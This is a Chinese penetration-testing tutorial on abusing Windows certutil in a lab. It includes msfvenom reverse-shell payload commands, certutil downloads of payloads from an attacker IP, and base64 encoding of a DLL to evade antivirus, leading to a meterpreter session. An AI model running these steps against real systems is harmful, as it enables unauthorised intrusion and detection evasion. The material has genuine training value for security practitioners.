Windows上自带的渗透测试工具:Certutil

Windows上自带的渗透测试工具:Certutil

Certutil 是 Windows 操作系统上预装的工具,可用于 校验文件MD5、SHA1、SHA256,下载恶意文件和免杀。

本文仅供学习使用,请勿用于非法操作,后果与作者无关。

下面,将介绍它在 Windows 渗透测试中的作用。

Certutil

Certutil 是一个 CLI 程序,可用于转储和显示证书颁发机构(CA),配置信息,证书服务, CA 组件的备份和还原以及验证证书、密钥对和证书链,它作为证书服务的一部分安装。

作为系统工具的它,为什么会成为一个攻击工具(后门)?

简单来说,就是 非恶意软件攻击,下面是具体的操作示例。

环境

  • 攻击者(kali 192.168.1.51)
  • 靶机(Windows10 192.168.1.63)

编码

Certutil 包含一个编码参数(编码)。这有助于在 Base64 中编码文件的内容。这是在 Windows 中等效于 Linux 中的 base64 命令。

不能打开 .exe 可执行文件时,可以使用 certutil 对可执行文件进行编码。然后传输编码后的数据,然后在接收机上对其进行解码。

首先创建一个名为 file.txt 的文本文件,输入一些内容,打开 PowerShell。

参数-encodehex 将数据转换为十六进制编码的文件。

解码

Certutil 可以解码 Base64 编码的数据。使用 certutil 和参数 -decode。

参数 -decodehex 解码十六进制编码的文件。

散列

获取数据并传递固定长度的输出字符串。使用哈希加密算法,例如 MD5,SHA-1,SHA-256,可以验证两个文件是否相同。该校验和是用于执行检查的散列值的数据完整性,这是一种文件签名。通过比较校验和,我们可以识别重复文件。

命令 certutil -hashfile 生成指定哈希值。

注意:哈希算法区分大小写,MD5。

下载

certutil 还可用于从互联网下载文件。

certutil.exe -urlcache -split -f http://example.com/a.txt

系统错误代码

Certutil 可以帮助你找到系统错误代码的消息文本,查看系统错误代码的含义。

使用Certutil进行渗透测试

提交恶意可执行文件

前面提到,Certutil 可在未经任何验证或评估的情况下主动从 Internet 下载文件。

Certutil 可用于将文件从一个系统复制到另一个系统,以在攻击过程中横向移动一些攻击工具或其他文件。

使用 msfvenom 工具生成一个有效载荷或一个有效载荷,用于与攻击机器的反向 TCP 连接。有效负载的格式设置为可执行文件 .exe。执行成功后,将在 root 目录中创建文件。

使用由 Python One-liner 生成的 HTTP Server 传输可执行文件。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.51 lport=1234 -f exe > shell.exe
python -m SimpleHTTPServer 80

有效负载已托管在服务器上,在靶机(受害者)上执行有效负载之前,我们需要在攻击计算机上启动监听,以捕获执行有效负载后生成的会话。

成功启动攻击者的侦听器之后,进入靶机。在这里,我们有一个 PowerShell 终端。我们需要将有效负载下载到这台机器上。使用 certutil 来查找它。Certutil 将使用两个不同的用户代理建立到远程 Web 服务器的两个连接。

有效负载成功传输到靶机之后。如图所示,执行有效负载。

回到攻击机器,以查看我们的侦听器生成并捕获 meterpreter 的实例。运行 sysinfo 以查看目标系统的详细信息。

成功使用了 Certutil 和恶意可执行文件来 Getshell。

提交恶意 DLL 编码

Certutil 可对文件进行进行base64 编码,攻击者可以使用经过混淆的文件来隐藏扫描攻击的证据。然后再解码这些文件。这就是 certutil 发挥作用的地方。可以解码数据并避免杀毒软件察觉。Certutil 还可以用于解码已隐藏在证书文件中的可移植可执行文件。

有效载荷可以被编码或加密,以避免被检测。

还是使用 msfvenom 工具为与攻击机器的反向TCP连接生成有效负载。有效负载的格式在动态链接库文件 .dll 中设置。命名为 dll.txt。成功执行后,将在 root 目录中创建文件。现在,要传输该文件,我们可以使用 Python One-liner 生成的 HTTP Server。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.51 lport=1234 -f dll > dll.txt
python -m SimpleHTTPServer 80

有效负载已托管在服务器上,在靶机上执行有效负载之前,我们需要在攻击计算机上启动监听,以捕获在有效负载执行后将生成的会话。

成功启动攻击者的监听之后再进入靶机。打开 PowerShell 终端。我们需要将有效负载下载到这台机器上,并且必须谨慎进行。执行命令:

certutil -urlcache -split -f http://192.168.1.51/dll.txt dll.txt | certutil -encode dll.txt edll.txt
该文件将被下载为文本文件,并被编码为另一个文本文件。

现在要执行有效载荷以损害受害者,我们必须对其进行解码。使用 -decode 参数解码有效负载并将其保存为 exploit.dll(杀毒软件不会察觉)。然后运行此 DLL。

回到攻击机器,以查看我们的监听生成并捕获 meterpreter 的实例。运行 sysinfo 以查看目标系统的详细信息。

成功使用 Certutil 和恶意编码的可执行文件 Getshell。

来源:Hacking Windows para Pentester: Certutil

今天的内容就简单介绍到这里了。更多有关内容请前往 二向箔安全 进行学习,最近推出了一系列网络安全技能包,有关CTF、渗透测试、网络攻防、黑客技巧尽在其中,学它涨姿势 。

发布于 02-19

文章被以下专栏收录